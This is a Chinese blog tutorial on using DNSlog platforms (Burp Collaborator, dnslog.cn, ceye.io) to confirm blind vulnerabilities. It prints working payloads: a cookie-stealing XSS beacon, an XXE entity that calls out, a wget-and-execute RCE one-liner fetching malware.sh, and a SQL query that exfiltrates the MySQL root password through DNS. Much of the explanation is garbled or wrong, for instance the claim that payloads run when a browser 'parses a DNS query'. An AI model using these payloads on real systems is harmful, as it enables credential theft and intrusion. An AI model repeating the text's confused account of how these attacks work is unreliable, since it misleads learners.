DNSlog漏洞探测

2024-03-17 06:52
文章标签 漏洞 探测 dnslog

本文主要是介绍DNSlog漏洞探测,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

1.DNS解析流程

2.DNSlog介绍

3.DNSlog平台

Burp Collaborator

DNSlog.cn

ceye.io

4.DNSlog之混合漏洞利用

DNSlog之xss漏洞利用的实例

DNSlog之xxe漏洞利用的实例

DNSlog之rce漏洞利用的实例

DNSlog之sql漏洞利用的实例

DNSlog之ssrf漏洞利用的实例

5.DNSLog自动化利用


生命在于学习!

 DNSlog的作用主要是判断是否存在相关漏洞,基本步骤就是

1.利用DNSlog平台(下有)获取一个域名

2.在怀疑有漏洞的地方,输入验证某漏洞的payload

3.返回DNSlog平台查看是否有回显

【此时DNSlog平台给的域名就相当于一个日志文件,如果有回显则证明漏洞存在】

1.DNS解析流程

DNS 解析是将域名转换为 IP 地址的过程。以下是 DNS 解析的基本流程:

  1. 递归查询:首先,客户端向本地 DNS 服务器(也称为递归 DNS 服务器)发出请求,要求解析特定的域名。

  2. 根名称服务器:如果本地 DNS 服务器不知道如何解析该域名,它会向根名称服务器查询。根名称服务器知道所有顶级域名(TLD)服务器的 IP 地址,因此它会将查询转发到相应的 TLD 服务器。

  3. 顶级域名服务器:TLD 服务器知道所有权威 DNS 服务器的 IP 地址,因此它会将查询转发到相应的权威 DNS 服务器。

  4. 权威名称服务器:权威 DNS 服务器知道要解析的域的所有信息,因此它会将 IP 地址返回给 TLD 服务器。

  5. 递归名称服务器:TLD 服务器会将 IP 地址返回给本地 DNS 服务器,然后本地 DNS 服务器会将 IP 地址返回给客户端。

  6. 缓存:在解析过程中,所有 DNS 服务器都会缓存解析结果,以加速后续解析请求。

2.DNSlog介绍

DNSlog 是一种 DNS 隧道技术,用于数据泄露或命令和控制(C2)通信。它利用 DNS 协议的特性,将数据编码为 DNS 查询或响应,从而实现数据通信。DNSlog 可用于检测子域取代、未授权区域传输和其他 DNS 相关漏洞。

DNSlog 的工作原理如下:

  1. 攻击者:攻击者将数据编码为 DNS 查询或响应,然后将其发送到 DNS 服务器。

  2. DNS 服务器:DNS 服务器会解析查询,并将响应发送回攻击者。

  3. 攻击者:攻击者可以从 DNS 响应中提取数据,从而实现数据泄露或 C2 通信。

DNSlog 的优点是它可以绕过防火墙和网络安全监控,因为 DNS traffic 通常被视为正常流量。然而,DNSlog 也有一些缺点,例如它可能导致 DNS 服务器过载,并且可能被检测到。

3.DNSlog平台

DNSlog平台是一种用于捕获和分析通过DNS协议传输的数据的工具。它的作用在于帮助安全研究人员、渗透测试人员和网络管理员在漏洞利用和网络安全评估过程中获取有关网络请求和流量的信息。以下是DNSlog平台的主要作用:

  1. 漏洞利用:DNSlog平台可以用于利用某些漏洞,特别是SSRF(Server-Side Request Forgery)漏洞。通过将DNSlog服务器的URL作为恶意请求的一部分,可以捕获并分析发起的请求,了解目标系统的信息,以便进一步渗透或攻击。

  2. 信息收集:通过DNSlog平台,可以获取有关网络请求的信息,例如请求的来源IP地址、User-Agent、请求时间等。这些信息对于分析和了解网络活动、识别潜在的威胁行为以及进行后续的安全调查非常有帮助。

  3. 恶意活动监测:DNSlog平台可以用于监测和发现恶意活动。通过分析DNS请求和响应,可以识别潜在的恶意域名或恶意主机,从而及早发现和应对安全威胁。

  4. 安全评估和渗透测试:在进行安全评估和渗透测试时,DNSlog平台可以用作收集和分析网络请求的工具。它可以帮助评估人员了解目标系统的通信模式、暴露的敏感信息以及可能的漏洞。

  5. 数据分析和研究:DNSlog平台提供了对捕获的DNS请求和响应进行分析的功能。这些数据可以用于研究网络活动、分析攻击趋势、发现新的漏洞或改进安全防御措施。

Burp Collaborator

Burp Collaborator 是 Burp Suite 中的一个插件,可用于执行 DNSlog 测试。它允许您将 Burp Suite 与 DNSLog 平台集成,以便在进行渗透测试时执行 DNSlog 测试。

以下是如何使用 Burp Collaborator 执行 DNSlog 测试:

  1. 配置 Burp Collaborator:首先,您需要在 Burp Suite 中配置 Burp Collaborator。在 Burp Suite 的“项目选项”中,找到“Collaborator”选项卡,然后输入 DNSLog 平台的 URL。

  2. 生成诱饵:在 Burp Suite 中,导航到“Collaborator”选项卡,然后点击“生成诱饵”按钮。这将生成一个唯一的子域名,您可以将其用作 DNSlog 测试的一部分。

  3. 执行 DNSlog 测试:在进行渗透测试时,将生成的子域名插入到 DNS 查询中。然后,Burp Collaborator 会捕获 DNS 响应,并将其显示在 Burp Suite 中。

  4. 分析结果:在 Burp Suite 中,导航到“Collaborator”选项卡,然后点击“事件”选项卡。这将显示所有捕获的 DNS 响应,您可以使用这些信息来确定 DNS 服务器的配置和潜在漏洞。

DNSlog.cn

DNSLog 平台的工作原理如下:

  1. 注册:首先,您需要注册 DNSLog 平台,以获得唯一的用户名和密码。

  2. 生成子域名:在 DNSLog 平台中,生成一个唯一的子域名,您可以将其用作 DNSlog 测试的一部分。

  3. 执行 DNSlog 测试:在进行渗透测试时,将生成的子域名插入到 DNS 查询中。然后,DNSLog 平台会捕获 DNS 响应,并将其显示在 DNSLog 平台中。

  4. 分析结果:在 DNSLog 平台中,您可以查看所有捕获的 DNS 响应,并使用这些信息来确定 DNS 服务器的配置和潜在漏洞。

ceye.io

ceye.io 的工作原理如下:

  1. 注册:首先,您需要注册 ceye.io,以获得唯一的用户名和密码。

  2. 生成子域名:在 ceye.io 中,生成一个唯一的子域名,您可以将其用作 DNSlog 测试的一部分。

  3. 执行 DNSlog 测试:在进行渗透测试时,将生成的子域名插入到 DNS 查询中。然后,ceye.io 会捕获 DNS 响应,并将其显示在 ceye.io 中。

  4. 分析结果:在 ceye.io 中,您可以查看所有捕获的 DNS 响应,并使用这些信息来确定 DNS 服务器的配置和潜在漏洞。

4.DNSlog之混合漏洞利用

DNSlog之xss漏洞利用的实例

XSS(跨站点脚本)漏洞是一种常见的 Web 安全漏洞,它允许攻击者在用户浏览器中执行恶意 JavaScript 代码。XSS 漏洞可能导致用户身份被盗、Cookie 被窃取或其他恶意活动。

如果您发现了一个 DNSlog 漏洞和一个 XSS 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:

  1. 发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。

  2. 发现 XSS 漏洞:接下来,您需要发现一个 XSS 漏洞,例如在网站的搜索框中输入恶意 JavaScript 代码。

  3. 将 DNSlog 漏洞与 XSS 漏洞结合:在 DNSlog 漏洞中,将恶意 JavaScript 代码插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意 JavaScript 代码会被执行。

  4. 执行攻击:在执行攻击时,恶意 JavaScript 代码会在用户浏览器中执行,从而实现 XSS 攻击。

例如,攻击者可以在 DNSlog 漏洞中插入以下恶意 JavaScript 代码:

<script>new Image().src='http://example.com/log?data='+document.cookie</script>

当用户浏览器解析 DNS 查询时,恶意 JavaScript 代码会在用户浏览器中执行,从而将 Cookie 发送到攻击者的服务器。

DNSlog之xxe漏洞利用的实例

XXE(XML 外部实体)漏洞是一种常见的 Web 安全漏洞,它允许攻击者读取本地文件或执行其他系统命令。XXE 漏洞可能导致信息泄露、拒绝服务(DoS)或其他恶意活动。

如果您发现了一个 DNSlog 漏洞和一个 XXE 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:

  1. 发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。

  2. 发现 XXE 漏洞:接下来,您需要发现一个 XXE 漏洞,例如在 XML 文件中输入恶意 XML 代码。

  3. 将 DNSlog 漏洞与 XXE 漏洞结合:在 DNSlog 漏洞中,将恶意 XML 代码插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意 XML 代码会被执行。

  4. 执行攻击:在执行攻击时,恶意 XML 代码会在用户浏览器中执行,从而实现 XXE 攻击。

例如,攻击者可以在 DNSlog 漏洞中插入以下恶意 XML 代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

当用户浏览器解析 DNS 查询时,恶意 XML 代码会在用户浏览器中执行,从而读取本地文件 /etc/passwd

DNSlog之rce漏洞利用的实例

RCE(远程命令执行)漏洞是一种常见的 Web 安全漏洞,它允许攻击者在目标系统上执行系统命令。RCE 漏洞可能导致信息泄露、拒绝服务(DoS)或其他恶意活动。

如果您发现了一个 DNSlog 漏洞和一个 RCE 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:

  1. 发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。

  2. 发现 RCE 漏洞:接下来,您需要发现一个 RCE 漏洞,例如在 Web 应用程序中输入恶意命令。

  3. 将 DNSlog 漏洞与 RCE 漏洞结合:在 DNSlog 漏洞中,将恶意命令插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意命令会被执行。

  4. 执行攻击:在执行攻击时,恶意命令会在目标系统上执行,从而实现 RCE 攻击。

例如,攻击者可以在 DNSlog 漏洞中插入以下恶意命令:

;wget http://example.com/malware.sh -O /tmp/malware.sh;chmod +x /tmp/malware.sh;/tmp/malware.sh

当用户浏览器解析 DNS 查询时,恶意命令会在目标系统上执行,从而下载恶意软件 malware.sh 并执行它。

DNSlog之sql漏洞利用的实例

SQL 漏洞是一种常见的 Web 安全漏洞,它允许攻击者在数据库中执行恶意 SQL 语句。SQL 漏洞可能导致信息泄露、数据库损坏或其他恶意活动。

如果您发现了一个 DNSlog 漏洞和一个 SQL 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:

  1. 发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。

  2. 发现 SQL 漏洞:接下来,您需要发现一个 SQL 漏洞,例如在 Web 应用程序中输入恶意 SQL 语句。

  3. 将 DNSlog 漏洞与 SQL 漏洞结合:在 DNSlog 漏洞中,将恶意 SQL 语句插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意 SQL 语句会被执行。

  4. 执行攻击:在执行攻击时,恶意 SQL 语句会在数据库中执行,从而实现 SQL 攻击。

例如,攻击者可以插入以下恶意 SQL 语句:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

DNSlog之ssrf漏洞利用的实例

  1. 首先,你需要一个可用的DNSlog服务器。你可以使用第三方DNSlog服务,也可以自己搭建一个。假设你已经有了一个DNSlog服务器,其域名为dnslog.example.com

  2. 接下来,你需要找到一个存在SSRF漏洞的目标应用程序。假设目标应用程序有一个功能,允许用户输入URL并下载远程文件。该功能可能的代码类似于以下示例:

python

import requestsdef download_file(url):response = requests.get(url)return response.contenturl = request.args.get('url')
file_data = download_file(url)
save_file(file_data)
  1. 利用SSRF漏洞,你可以构造一个恶意URL,将其作为参数传递给目标应用程序。你可以使用DNSlog服务器的URL作为恶意URL的主机部分,以便在应用程序发起请求时捕获请求信息。以下是一个示例恶意URL:
http://targetapp.com/download?url=http://dnslog.example.com

在这个示例中,你将http://dnslog.example.com作为参数传递给目标应用程序的下载功能。应用程序会尝试下载该URL对应的内容。

  1. 当目标应用程序发起请求时,它会向dnslog.example.com发起DNS请求以解析该主机名。

  2. DNSlog服务器会捕获该请求并记录相关信息,例如请求的IP地址、User-Agent等。你可以通过访问DNSlog服务器的界面或使用其API来查看记录的请求信息。

通过利用DNSlog,你可以获取目标应用程序对恶意URL的请求信息,并了解目标服务器的IP地址、请求头部信息等。这些信息可以帮助你进一步探测目标系统、发现其他漏洞或进行其他攻击。

5.DNSLog自动化利用

DNSLog自动化利用是指利用DNSLog平台进行自动化渗透测试的过程。DNSLog平台可以用于获取目标系统的DNS请求记录,从而实现在无法直接获取回显的情况下,将想要的数据外带出来的目的。以下是关于DNSLog自动化利用的一些信息和方法:

  1. DNSLog平台的应用场景:

    • SQL注入中的盲注:通过将SQL注入的结果作为DNS请求的一部分,将注入结果记录在DNSLog平台上,从而获取注入的结果。
    • 无回显的命令执行:在无法直接获取命令执行结果的情况下,将命令执行的结果作为DNS请求的一部分,记录在DNSLog平台上,然后读取DNSLog平台的记录来获取命令执行结果。
    • 无回显的SSRF:在SSRF漏洞中,无法直接获取目标系统的响应,可以通过将SSRF请求的结果作为DNS请求的一部分,记录在DNSLog平台上,从而获取SSRF请求的结果。
  2. DNSLog平台的原理:

    • DNSLog平台是基于DNS(Domain Name System)的原理实现的。DNS是将域名和IP地址相互映射的系统,用户输入域名时,DNS服务器会解析域名并返回对应的IP地址。
    • DNSLog平台利用DNS请求的特性,将想要的数据作为子域名的一部分,发送DNS请求到DNSLog平台,DNSLog平台记录下这些DNS请求,从而实现数据的外带。
  3. DNSLog自动化利用的步骤:

    • 注册一个DNSLog平台账号,并申请一个域名。
    • 在渗透测试过程中,将想要获取的数据作为子域名的一部分,发送DNS请求到DNSLog平台。
    • 在DNSLog平台上查看记录,获取所需的数据。
  4. DNSLog自动化利用的函数和方法:

    • load_file()函数:在SQL注入中,可以使用load_file()函数将SQL查询结果作为DNS请求的一部分,记录在DNSLog平台上,从而获取注入结果。
    • Hex编码:在DNS请求中,有些特殊符号无法直接使用,可以使用Hex编码将特殊符号转换为可用的形式,以减少干扰。

payload文章推荐

利用DNSlog技术间接判断漏洞是否存在的常用payload_dnslog.payloads.net-CSDN博客

 

这篇关于DNSlog漏洞探测的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/818158

相关文章

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

【网络安全】Jenkins任意文件读取漏洞及检测工具(CVE-2024-23897)

原创文章,不得转载。 文章目录 漏洞成因影响范围检测工具更多细节 漏洞成因 Jenkins CLI 接口存在任意文件读取漏洞(CVE-2024-23897)。该问题源于 args4j 库在解析文件名参数时,会将@符号后的字符串视为文件名并尝试读取文件,而且该功能默认处于启用状态。 影响范围 Jenkins weekly <= 2.441 Jenkins LTS <=

MyBatis-Plus 框架 QueryWrapper UpdateWrapper 方法修复sql注入漏洞事件

什么是漏洞? 漏洞是指软件、系统或网络中存在的安全弱点或错误,这些弱点可能导致系统遭受攻击或被不当使用。在计算机安全领域,漏洞通常源于编程错误、设计缺陷或配置失误。 对于对象关系映射(ORM)框架来说,漏洞通常指的是设计或实施中的安全问题,这些问题可能让应用程序面临SQL注入攻击的风险。 SQL 注入漏洞 如果ORM框架在执行SQL操作时没有正确过滤或转义用户输入,攻击者可以利用输入的恶意数据

XSS 漏洞检测与利用全解析:守护网络安全的关键洞察

在网络安全领域,跨站脚本攻击(XSS)是一种常见的安全漏洞。XSS 漏洞可以让攻击者在受害者的浏览器中执行恶意脚本,从而窃取用户的敏感信息、篡改页面内容或者进行其他恶意操作。本文将介绍 XSS 漏洞的检测和利用方法。 一、XSS 漏洞的概念和类型 (一)概念 跨站脚本攻击(XSS)是指攻击者在网页中注入恶意脚本,当用户访问该网页时,恶意脚本在用户的浏览器中执行,从而达到攻击的目的。 (

代码执行漏洞-Log4j2漏洞

1.执行以下命令启动靶场环境并在浏览器访问 cd log4j/CVE-2021-44228docker-compose up -ddocker ps 2.先在自己搭建的DNSLOG平台上获取⼀个域名来监控我们注⼊的效果 3.可以发现 /solr/admin/cores?action= 这⾥有个参数可以传,可以按照上⾯的原理 先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏